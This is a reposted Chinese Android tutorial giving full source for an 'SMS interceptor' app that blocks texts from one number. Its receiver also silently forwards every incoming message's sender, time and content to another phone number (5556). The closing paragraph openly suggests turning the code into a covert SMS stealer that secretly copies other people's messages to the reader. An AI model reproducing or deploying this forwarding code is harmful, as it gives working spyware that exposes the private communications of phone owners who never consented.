短信拦截器

来源:互联网 发布:c 高级编程 第10版 编辑:程序博客网 时间:2024/06/05 02:22


今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。

下面我附上自己做的这个拦截器的代码供大家参考。

main.xml

复制代码
 1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 3     android:orientation="vertical" 4     android:layout_width="fill_parent" 5     android:layout_height="fill_parent" 6     > 7 <Button   8     android:layout_width="fill_parent"  9     android:layout_height="wrap_content" 10     android:text="注册拦截"11     android:onClick="regiset"12     />13 <Button  14     android:layout_width="fill_parent" 15     android:layout_height="wrap_content" 16     android:text="解注册拦截"17     android:onClick="unregiset"18     />19 </LinearLayout>
复制代码

首页显示的SmsListenerActivity:

复制代码
 1 package cn.yj3g.SmsListener; 2  3 import android.app.Activity; 4 import android.content.IntentFilter; 5 import android.os.Bundle; 6 import android.view.View; 7 import android.widget.Toast; 8  9 public class SmsListenerActivity extends Activity {10     private SmsRecevier recevier;11     private boolean isregiset = false;12     private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";13 14     @Override15     public void onCreate(Bundle savedInstanceState) {16         super.onCreate(savedInstanceState);17         setContentView(R.layout.main);18         recevier = new SmsRecevier();19     }20     public void regiset(View v) {21         IntentFilter filter = new IntentFilter(ACTION);22         filter.setPriority(1000);//设置优先级最大23         registerReceiver(recevier, filter);24         isregiset = true;25         Toast.makeText(this, "注册成功", 0).show();26     }27 28     public void unregiset(View v) {29         if (recevier != null && isregiset) {30             unregisterReceiver(recevier);31             isregiset = false;32             Toast.makeText(this, "解注册成功", 0).show();33         } else34             Toast.makeText(this, "尚未注册", 0).show();35     }36     @Override37     protected void onDestroy() {38         super.onDestroy();39         if (recevier != null && isregiset) {40             unregisterReceiver(recevier);41             isregiset = false;42             Toast.makeText(this, "解注册成功", 0).show();43         }44     }45 }
复制代码

如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。

AndroidManifest.xml:

复制代码
 1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3       package="cn.yj3g.SmsListener" 4       android:versionCode="1" 5       android:versionName="1.0"> 6     <uses-sdk android:minSdkVersion="8" /> 7  8     <application android:icon="@drawable/icon" android:label="@string/app_name"> 9         <activity android:name=".SmsListenerActivity"10                   android:label="@string/app_name">11             <intent-filter>12                 <action android:name="android.intent.action.MAIN" />13                 <category android:name="android.intent.category.LAUNCHER" />14             </intent-filter>15         </activity>16         <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做17         <receiver android:name=".SmsRecevier">18             <intent-filter android:priority="1000"> 将优先级设到最大19                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />20             </intent-filter>21         </receiver>22          -->    23     </application>24      <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->25     <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->26     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />27 </manifest>
复制代码

SmsRecevier类用作拦截信息。

复制代码
 1 package cn.yj3g.SmsListener; 2  3 import java.text.SimpleDateFormat; 4 import java.util.Date; 5  6 import android.content.BroadcastReceiver; 7 import android.content.Context; 8 import android.content.Intent; 9 import android.telephony.SmsManager;10 import android.telephony.SmsMessage;11 import android.util.Log;12 13 public class SmsRecevier extends BroadcastReceiver {14     public SmsRecevier() {15         Log.v("TAG", "SmsRecevier create");16     }17 18     @Override19     public void onReceive(Context context, Intent intent) {20         Log.v("TAG", "SmsRecevier onReceive");21         Object[] pdus = (Object[]) intent.getExtras().get("pdus");22         if (pdus != null && pdus.length > 0) {23             SmsMessage[] messages = new SmsMessage[pdus.length];24             for (int i = 0; i < pdus.length; i++) {25                 byte[] pdu = (byte[]) pdus[i];26                 messages[i] = SmsMessage.createFromPdu(pdu);27             }28             for (SmsMessage message : messages) {29                 String content = message.getMessageBody();// 得到短信内容30                 String sender = message.getOriginatingAddress();// 得到发信息的号码31                 if (sender.equals("110")) {32                     abortBroadcast();// 中止发送33                     Log.e("TAG", "此号码为黑名单号码,已拦截!");34                 }35                 Date date = new Date(message.getTimestampMillis());36                 SimpleDateFormat format = new SimpleDateFormat(37                         "yyyy-MM-dd HH:mm:ss");38                 String sendContent = format.format(date) + ":" + sender + "--"39                         + content;40                 SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的41                 smsManager.sendTextMessage("5556", null, sendContent, null,42                         null);// 转发给555643                 Log.v("TAG", sendContent);44             }45         }46     }47 }
复制代码

运行界面如下:

当点击注册拦截后,拦截到110发给别人的信息时,TAG中会得到如下运行结果:

这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给5556。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了。这个留给大家去思考吧。

转自:http://www.cnblogs.com/zxl-jay/archive/2011/09/20/2182916.html

0 0